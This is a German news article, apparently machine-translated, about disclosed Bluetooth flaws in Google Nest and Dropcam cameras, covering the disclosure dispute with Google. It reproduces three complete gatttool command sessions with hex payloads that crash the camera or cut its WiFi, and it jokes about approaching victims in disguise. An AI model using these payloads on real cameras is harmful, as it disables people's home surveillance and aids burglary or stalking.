Mit Google Nest ausgestattete Überwachungskameras lassen sich einfach über Bluetooth ausschalten

Künstliche Intelligenz zum Erkennen von Personen Google AI Nest Outdoor Cam schützt nicht vor einfachem Hacken

Der Hightech-Schutz ist nicht immer der beste. Indem Sie dem System Komplexität hinzufügen, fügen Sie neue Angriffsvektoren hinzu. Es kommt vor, dass es für Entführer einfacher ist, die teuersten und modernsten Autos mit Funkschlüsseln zu stehlen als die alten „Eisensachen“. Etwa das gleiche gilt für die Sicherheit in anderen Bereichen.

Ein weiteres Opfer von Crackern waren die schicken Überwachungskameras von Google Nest - Dropcam-, Dropcam Pro-, Nest Cam Outdoor- und Nest Cam-Modelle. Der Code zum Hacken wurde bereits auf GitHub veröffentlicht , und Google hat noch keine Patches veröffentlicht. Sie können heute üben, Ihre Überwachungskameras auszuschalten (Ihre natürlich).

Es wurden Informationen zu drei Sicherheitslücken veröffentlicht, die alle die Verbindung zur Kamera über Bluetooth 4.0 LE ermöglichen (gemäß den Spezifikationen beträgt die Reichweite ca. 100 m). Bluetooth funktioniert in diesen Kameras immer, das heißt, es ist im Allgemeinen nicht möglich, es selbst für den Besitzer auszuschalten.

Die erste Sicherheitsanfälligkeit ist ein Pufferüberlauf mit der Option SSID über Bluetooth. Um einen Pufferüberlauf zu verursachen, müssen Sie versuchen, einen neuen SSID-Parameter mit falschen Eigenschaften an der Kamera festzulegen.

Hier ist ein Beispiel für die Verbindung mit der Kamera und das Einstellen der SSID-Länge von jeweils 1 und 16 Byte.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

Infolgedessen schaltet sich die Kamera aus, startet nach einem Fehler neu und kehrt in den normalen Betriebszustand zurück.

Die zweite Sicherheitsanfälligkeit ähnelt der ersten, nur dass der Pufferüberlauf durch das Senden eines Kennworts mit der falschen Länge (in diesem Fall drei Bytes und ein Byte) verursacht wird. Das Ergebnis ist das gleiche - die Kamera startet nach einem Fehler bei der Rückkehr in den Betriebszustand neu.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.

Die dritte Sicherheitslücke ist interessanter. Sie können die Kamera vorübergehend vom WLAN-Netzwerk trennen und ihr eine neue SSID für die Verbindung übergeben. In diesen Kameras ist kein lokales Video verfügbar, daher überträgt die Kamera alles über WLAN - das gesamte Archiv wird im Cloud-Dienst gespeichert. Dementsprechend wird während der Trennung vom Netzwerk die Videoaufzeichnung nicht gespeichert. Es dauert ungefähr 60-90 Sekunden, bis die Kamera nach einem solchen Hack wieder in Betrieb genommen und die Videoaufnahme fortgesetzt wird. Im Prinzip ist dies kein so langes Intervall, aber der Hack kann für den erforderlichen Zeitraum wiederholt werden.

anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>

Beachten Sie, dass Sie in allen Beispielen, um eine Verbindung zur Kamera herzustellen, deren MAC-Adresse kennen müssen (18: B4: 30: 5D: 00: B8). Es ist einfach auf das Kameragehäuse geschrieben, daher müssen Sie sich in der Praxis zum Hacken zunächst aus einiger Entfernung der Kamera nähern. Zum Beispiel unter dem Deckmantel eines Rasenmähers, Reparaturmanns oder Freundes eines zukünftigen Opfers.


Eines der Fotos von Nest Outdoor Cam zeigt, dass die MAC-Adresse auf das Kameragehäuse geschrieben ist (Zeile über dem QR-Code). Die Entwickler versteckten es vorsichtig hinter einem Stromkabel

In der neuesten Kamera-Firmware (5.2.1) sind drei Schwachstellen in Kameras vorhanden. Sicherheitsspezialist Jason Doyle hat sie letzten Herbst gefunden. Er sagte, er habe sich am 26. Oktober 2016 bei Google gemeldet. Jetzt scheint es an der Zeit zu sein, dass alle offengelegt werden. Dies ist Standard, wenn der Hersteller es nicht eilig hat oder keine Zeit hat, die Fehler innerhalb einer angemessenen Zeit zu beheben. In diesem Fall sind fast fünf Monate vergangen.

Google zahlt Forschern normalerweise Belohnungen für das Auffinden von Schwachstellen in ihren Produkten. Die Vulnerability Reward von Google gilt auch für Nest-Camcorder. Es stimmt, Nest gehört zur drittgrößten Kategorie, in der die maximale Belohnung nur 5.000 US-Dollar beträgt (für den Rest der Produkte 31.337 US-Dollar). Darüber hinaus gibt es in dieser dritten Kategorie einen besonderen Hinweis auf eine sechsmonatige Schweigefrist. Obwohl Google selbst kürzlich den aktiv genutzten 0-Tag unter Windows und Edge nach 90 Tagen enthüllt hat ( 1 , 2 ).

Jason Doyle konnte den Zeitraum von sechs Monaten (26. Oktober bis 17. März) nicht aushalten, daher kann er die Auszeichnung nicht beanspruchen. Im Gegensatz zur üblichen Praxis hat Google den Forscher nicht über die ungefähren Fristen für das Schließen der Sicherheitsanfälligkeit informiert und die Korrespondenz mit ihm nicht unterstützt. Gleichzeitig teilte eine mit der Situation vertraute Quelle The Register mit, dass der Patch fast fertig sei, sodass Jason nicht viel von seiner Belohnung tolerieren könne.

Übrigens schalten einige andere ähnliche Überwachungskameras Bluetooth aus, wenn eine WiFi-Verbindung hergestellt wird, sodass sie auf diese Weise nicht knacken können (z. B. Logitech Circle). Auch Google könnte diesen einfachen Trick anwenden, um diese Art von Sicherheitsanfälligkeit zu beseitigen.